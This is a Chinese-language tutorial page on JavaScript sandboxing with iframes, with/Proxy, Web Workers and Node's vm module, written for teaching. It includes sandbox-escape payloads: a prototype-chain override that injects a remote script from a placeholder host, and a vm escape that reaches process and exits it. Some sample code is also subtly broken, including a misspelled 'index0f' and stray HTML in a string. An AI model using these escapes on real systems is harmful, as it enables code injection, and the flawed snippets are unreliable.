Skip to content

每日一报

js的沙箱环境

简要

在 JavaScript 中,沙箱(sandbox)是一个安全机制,用于隔离运行代码,以防止代码对其它部分的应用程序或系统造成不必要的影响或安全风险。沙箱提供了一个受控环境,在这个环境中,代码可以被执行而不影响主环境,从而保护用户数据和系统安全。

举个简单的栗子,其实我们的浏览器,Chrome 中的每一个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信,通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。

使用场景

  1. 执行第三方 js:当你有必要执行第三方 js 的时候,而这份 js 文件又不一定可信的时候;

  2. 在线代码编辑器:相信大家都有使用过一些在线代码编辑器,而这些代码的执行,基本都会放置在沙箱中,防止对页面本身造成影响。当然最主要的是服务器上做处理。

  3. Web 应用安全: 在浏览器中运行来自不同来源的 JavaScript 代码时,沙箱可以限制这些代码的权限,防止恶意代码访问敏感资源或执行危险操作。

  4. 插件和第三方脚本: 当 Web 应用需要加载和执行第三方插件或脚本时,通过沙箱可以限制这些脚本的访问权限,保护主应用的安全和数据。

  5. vue的服务端渲染: vue的服务端渲染实现中,通过创建沙箱执行前端的bundle文件;在调用createBundleRenderer方法时候,允许配置runInNewContext为true或false的形式,判断是否传入一个新创建的sandbox对象以供vm使用;

  6. vue模板中表达式计算: vue模板中表达式的计算被放在沙盒中,只能访问全局变量的一个白名单,如 Math 和 Date 。你不能够在模板表达式中试图访问用户定义的全局变量。

  7. jsonp:解析服务器所返回的 jsonp 请求时,如果不信任 jsonp 中的数据,可以通过创建沙箱的方式来解析获取数据。(TSW 中处理 jsonp 请求时,创建沙箱来处理和解析数据)

    JSONP 是利用 <script> 标签无跨域限制来和第三方通讯。比如创建 <script> 元素指向第三方 API 网址,并约定回调函数接收数据。

    对于解析 JSONP 数据的沙箱环境:

    1. 创建独立 iframe 作沙箱,它没访问主页面 DOM 权限,限制对主页面影响。
    2. 在 iframe 里发起 JSONP 请求,返回脚本在隔离环境执行,即使有恶意代码,影响也在 iframe 内。
    3. 从 iframe 安全获取数据,通过如 postMessage API 传递,主页面设监听器接收并验证数据来源保安全。
    4. 限制和监控 iframe行为,用 CSP 等措施限制资源和监控控制。

    主页面代码

    html
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta
          name="viewport"
          content="width=device-width, initial-scale=1.0"
        />
        <title>JSONP Sandboxed</title>
      </head>
      <body>
        <h1>JSONP Sandboxed</h1>
        <iframe
          id="jsonpIframe"
          src="sandbox.html"
          style="display:none;"
        ></iframe>
    
        <script>
          // 监听来自 iframe 的消息
          window.addEventListener('message', function (event) {
            // 验证消息来源(在生产环境下应使用更严格的域验证)
            if (event.origin !== window.location.origin) {
              console.error('Invalid origin:', event.origin);
              return;
            }
    
            // 处理接收到的数据
            const data = event.data;
            console.log('Received data:', data);
    
            // 可以进一步处理或显示数据
            if (data && data.success) {
              document.body.innerHTML += `<p>Received data: ${JSON.stringify(data.result)}</p>`;
            } else {
              console.error('Failed to retrieve data:', data.error);
            }
          });
        </script>
      </body>
    </html>

    sandbox.html

    html
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta
          name="viewport"
          content="width=device-width, initial-scale=1.0"
        />
        <title>JSONP Sandbox</title>
      </head>
      <body>
        <script>
          // JSONP 回调函数
          function jsonpCallback(data) {
            // 将数据发送回主页面
            window.parent.postMessage(
              { success: true, result: data },
              window.location.origin
            );
          }
    
          // 创建 script 元素并发起 JSONP 请求
          const script = document.createElement('script');
          script.src = 'https://example.com/api?callback=jsonpCallback';
          script.onerror = function () {
            // 如果请求失败,发送错误消息
            window.parent.postMessage(
              { success: false, error: 'Failed to load JSONP' },
              window.location.origin
            );
          };
    
          document.body.appendChild(script);
        </script>
      </body>
    </html>

沙盒的实现方式

  1. with + new Function 实现沙箱

    在 with 的块级作用域下,变量访问会优先检索传入的参数对象,若没有检索到则往上继续检索,所以相当于你变相监控到了代码中的 变量访问

    js
    function compileCode(code) {
      src = 'with(exposeObj){' + code + '}';
      return new Function('exposeObj', code);
    }

    接下里你要做的是,就是暴露可以被访问的变量exposeObj,以及阻断沙箱内的对外访问。通过es6提供的proxy特性,可以获取到对对象上的所有改写:

    js
    function compileCode(code) {
      src = `with(exposeObj){ ${code} }`;
      return new Function('exposeObj', code);
    }
    
    function proxyObj(originObj) {
      const exposeObj = new Proxy(originObj, {
        has: (target, key) => {
          if (['console', 'Math', 'Date'].index0f(key) >= 0) {
            return target[key];
          }
          if (!target.hasOwnProperty(key)) {
            throw new Error(
              'Illegal operation for key </span><span><span class="hljs-string"><span class="hljs-subst">${key}</span></ spanxs/spany<span class="htjs-string">'
            );
          }
          return target[key];
        }
      });
      return exposeObj;
    }
    
    function createSandbox(code, obj) {
      const proxy = proxyObj(obj);
      // 绑定 this,防止 this 访问 window。
      compileCode(code).call(proxy, proxy);
    }

    通过设置has函数,可以监听到变量的访问,在上述代码中,仅暴露个别外部变量供代码访问,其余不存在的属性,都会直接抛出error。其实还存在get、set函数,但是如果get和set函数只能拦截到当前对象属性的操作,对外部变量属性的读写操作无法监听到,所以只能使用has函数了。接下来我们测试一下:

    js
    const testObj = {
      value: 1,
      a: {
        b: 123
      }
    };
    createSandbox("value = '456'; console.log(a)", testObj);

    看起来一切似乎没有什么问题,但是问题出在了传入的对象,当调用的是console.log(a.b)的时候,has方法是无法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只需要通过a.b.proto就可以访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。

    js
    createSandbox(
      `
         a.b.__proto__toString = () =>{
             new (()=>{}).constructor(\`
                 var script = document.createElement('script');
                 script.src = 'http://xss.js';
                 script.type = 'text/javascript';
                 document.body.appendChild(script);\`
             )();
         }`,
      testObj
    );
    console.log(testObj.a.b.__proto__.toString());

    例如上面所展示的代码,通过访问原型链的方式,实现了沙箱逃逸,并且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就可以实现xss攻击,注入第三方代码;由于在内部定义执行的函数代码逻辑,仍然会沿着作用于链查找,为了绕开作用域链的查找,笔者通过访问箭头函数的constructor的方式拿到了构造函数Function,这个时候,Function内所执行的xss代码,在执行的时候,便不会再沿着作用域链往上找,而是直接在全局作用域下执行,通过这样的方式,实现了沙箱逃逸以及xss攻击。你可能会想,如果我切断原型链的访问,是否就杜绝了呢?的确,你可以通过Object.create(null)的方式,传入一个不含有原型链的对象,并且让暴露的对象只有一层,不传入嵌套的对象,但是,即使是基本类型值,数字或字符串,同样也可以通过proto查找到原型链,而且,即使不传入对象,你还可以通过下面这种方式绕过:

    js
    ({}).__proto__.toString = () => {
      console.log(111);
    };

    可见,new Function + with的这种沙箱方式,防君子不防小人,当然,你也可以通过对传入的code代码做代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的做法。

    使用注意

    这种技术可以用于隔离不受信任的代码片段,确保它们不能访问或修改沙箱外部的全局对象。然而,它并不是绝对安全的,因为如果不受信任的代码直接访问 Function 构造函数,它可以创建自己的函数,这些函数可能会绕过沙箱的限制。

    此外,with 语句在严格模式下是不允许的,因为它模糊了变量的作用域链,可能导致代码难以理解和调试。在生产环境中,应该谨慎使用这种技术,并结合其他安全措施来确保代码的安全性。

  2. iframe 实现沙箱

    使用 iframe 创建沙箱环境是 Web 开发中常见的一种技术,它允许你在当前页面内嵌套一个完全独立的 HTML 页面。这种方法可以有效隔离 JavaScript 执行环境,防止脚本访问主页面的 DOM 或 JavaScript 环境,从而提高安全性,例如在线代码编辑器

    html
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="UTF-8" />
        <meta
          name="viewport"
          content="width=device-width, initial-scale=1.0"
        />
        <title>Document</title>
      </head>
      <body>
        <iframe id="sandbox" style="display: none"></iframe>
    
        <script src="index.js"></script>
      </body>
    </html>

    index.js

    js
    // index.js
    function createSandbox(callback) {
      const iframe = document.getElementById('sandbox');
      if (!iframe) {
        return console.error('沙箱iframe未找到');
      }
    
      // 确保iframe完全加载后再执行代码
      iframe.onload = function () {
        const iframeWindow = iframe.contentWindow;
    
        // 在沙箱环境中定义一些安全的全局变量或函数,如果需要的话
        iframeWindow.safeGlobalVar = {
          /* 安全的数据或方法 */
        };
    
        // 执行回调函数,传入沙箱的window对象,以便在其中执行代码
        callback(iframeWindow);
      };
    
      // 重新加载iframe以确保环境清洁
      iframe.src = 'about:blank';
    }
    
    // 使用沙箱
    createSandbox(function (sandboxWindow) {
      // 在沙箱环境中执行代码
      sandboxWindow.eval('console.log("Hello from the sandbox!");');
    });

    在上面的这些代码中,createSandbox 函数接收一个回调函数作为参数,该回调函数会在 iframe 加载完成后执行。在回调函数中,我们可以通过 iframe 的 contentWindow 属性来访问并操作 iframe 内的全局对象,包括定义全局变量、函数或者通过 eval 执行一些 JavaScript 代码。

    HTML5 引入了 sandbox 属性,它可以限制 iframe 中代码的能力。默认情况下会有如下限制:

    markdown
    1. script脚本不能执行
    2. 不能发送ajax请求
    3. 不能使用本地存储,即localStorage,cookie等
    4. 不能创建新的弹窗和window
    5. 不能发送表单
    6. 不能加载额外插件比如flash等

    sandbox 属性可以采用以下值:

    markdown
    1. allow-scripts: 允许执行脚本。
    2. allow-same-origin: 允许同源请求,比如 `ajax``storage`
    3. allow-forms: 允许表单提交。
    4. allow-popups: 允许 iframe 中弹出新弹窗,比如 window.open.target = "\_blank"
    5. allow-top-navigation: 允许 iframe 能够主导 window.top 进行页面跳转。
    html
    <iframe src="sandbox.html" sandbox="allow-scripts" id="sandbox"></iframe>

    接下里你只需要结合postMessage API,将你需要执行的代码,和需要暴露的数据传递过去,然后和你的iframe页面通信就行了。

    使用 postMessageAPI 的注意点

    1. 不过你需要注意的是,在子页面中,要注意不要让执行代码访问到contentWindow对象,因为你需要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,相当于就拿到了父页面的控制权了,这个时候可大事不妙。
    2. 当你使用postMessageAPI的时候,由于sandbox的origin默认为null,需要设置allow-same-origin允许两个页面进行通信,意味着子页面内可以发起请求,这时候你需要防范好CSRF,允许了同域请求,不过好在,并没有携带上cookie。
    3. 当你调用postMessageAPI传递数据给子页面的时候,传输的数据对象本身已经通过结构化克隆算法复制,如果你还不了解结构化克隆算法可以查看这个。

    简单的说,通过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不同的内存空间,两者互不影响,所以你不需要担心出现第一种沙箱做法中出现的问题。

    WARNING

    在没有限制的情况下,iframe 内部通过 window.parent 属性来访问到父级。

    预防手段

    • Content Security Policy (CSP) 可以用于进一步限制 iframe 内的行为,例如禁止 iframe 内的脚本访问父页面。您可以在页面的 <head> 部分设置 CSP:
    html
    <meta
      http-equiv="Content-Security-Policy"
      content="frame-ancestors 'self';"
    />

    frame-ancestors 'self' 指定只有当前页面可以作为 iframe 的祖先,这样即使 iframe 尝试跳出自己的范围也会被限制。

    • 在 sandbox 中的 JavaScript 设置防护

    如果您需要进一步防护,您可以在 iframe 内部的 JavaScript 代码中通过以下方式移除 window.parent 的引用:

    js
    Object.defineProperty(window, 'parent', {
      get() {
        throw new Error('Access to parent window is restricted.');
      }
    });

    此代码将覆盖 window.parent 的默认行为,在尝试访问 parent 时抛出错误。

  3. Web Workers 实现沙箱

    这种方式的好处是允许动态地执行任意的 JavaScript 代码,同时确保这些代码在一个与主页面环境隔离的 Worker 中运行,提供了一种隔离执行代码的手段。

    js
    function workerSandbox(appCode) {
      var blob = new Blob([appCode]);
      var appWorker = new Worker(window.URL.createObjectURL(blob));
    }
    
    workerSandbox('const a = 1;console.log(a);'); // 输出1
    
    console.log(a); // a not defined

    这种使用 Web Workers 实现沙箱的方法为在 Web 应用中隔离和执行 JavaScript 代码提供了一种有力的手段,特别适合那些需要保持 UI 响应性而又要执行复杂或潜在风险代码的场景。

  4. nodejs中的沙箱使用

    nodejs中使用沙箱很简单,只需要利用原生的vm模块,便可以快速创建沙箱,同时指定上下文。

    js
    const vm = require('vm');
    const x = 1;
    const sandbox = { x: 2 };
    vm.createContext(sandbox); // Contextify the sandbox.
    
    const code = 'x += 40; var y = 17; ';
    vm.runInContext(code, sandbox);
    console.log(sandbox.x); // 42
    console.log(sandbox.y); // 17
    console.log(x); // 1; y is not defined.

    vm中提供了runInNewContext、runInThisContext、runInContext三个方法,三者的用法有个别出入,比较常用的是runInNewContext和runInContext,可以传入参数指定好上下文对象。

    但是vm是绝对安全的吗?不一定。

    js
    const vm = require('vm');
    vm.runInNewContext(
      "this.constructor.constructor('return process')().exit()"
    );

    通过上面这段代码,我们可以通过vm,停止掉主进程nodejs,导致程序不能继续往下执行,这是我们不希望的,解决方案是绑定好context上下文对象,同时,为了避免通过原型链逃逸(nodejs中的对象并没有像浏览器端一样进行结构化复制,导致原型链依然保留),所以我们需要切断原型链,同时对于传入的暴露对象,只提供基本类型值。

    js
    const ctx = Object.create(null);
    ctx.a = 1; // ctx上不能包含引用类型的属性
    vm.runInNewContext(
      "this.constructor.constructor( 'return process' )().exit()",
      ctx
    );

    让我们来看一下TSW中是怎么使用的:

    js
    const vm = require('vm');
    const SbFunction = vm.runInNewContext('(Function)', Object.create(null)); // 沙堆
    if (opt.jsonpCallback) {
      code = `
            var result = null; 
            var ${opt.jsonpCallback} = function($1){
                result = $1;
            }; 
            ${responseText}; 
            return result;
        `;
      obj = new SbFunction(code)();
    }

    通过runInNewContext返回沙箱中的构造函数Function,同时传入切断原型链的空对象防止逃逸,之后再外部使用的时候,只需要调用返回的这个函数,和普通的new Function一样调用即可。即使这样,我们也不能保证这是绝对的安全,毕竟可能还有潜在的沙箱漏洞呢?

总结

即使我们知道了如何在开发过程中使用沙箱来让我们的执行环境不受影响,但是沙箱也不一定是绝对安全的,毕竟每年都有那么多黑客绞尽脑汁钻研出如何逃出浏览器沙箱和nodejs沙箱,因此建议如下:

  1. 业务代码上不执行不可信任的第三方JS,如有必要执行第三方JS,可通过设置CSP维护白名单的方式;
  2. 不要信任任何用户数据源,防止恶意用户注入代码。

Contributors

Changelog

Discuss

Released under the CC BY-SA 4.0 License. (2619af4)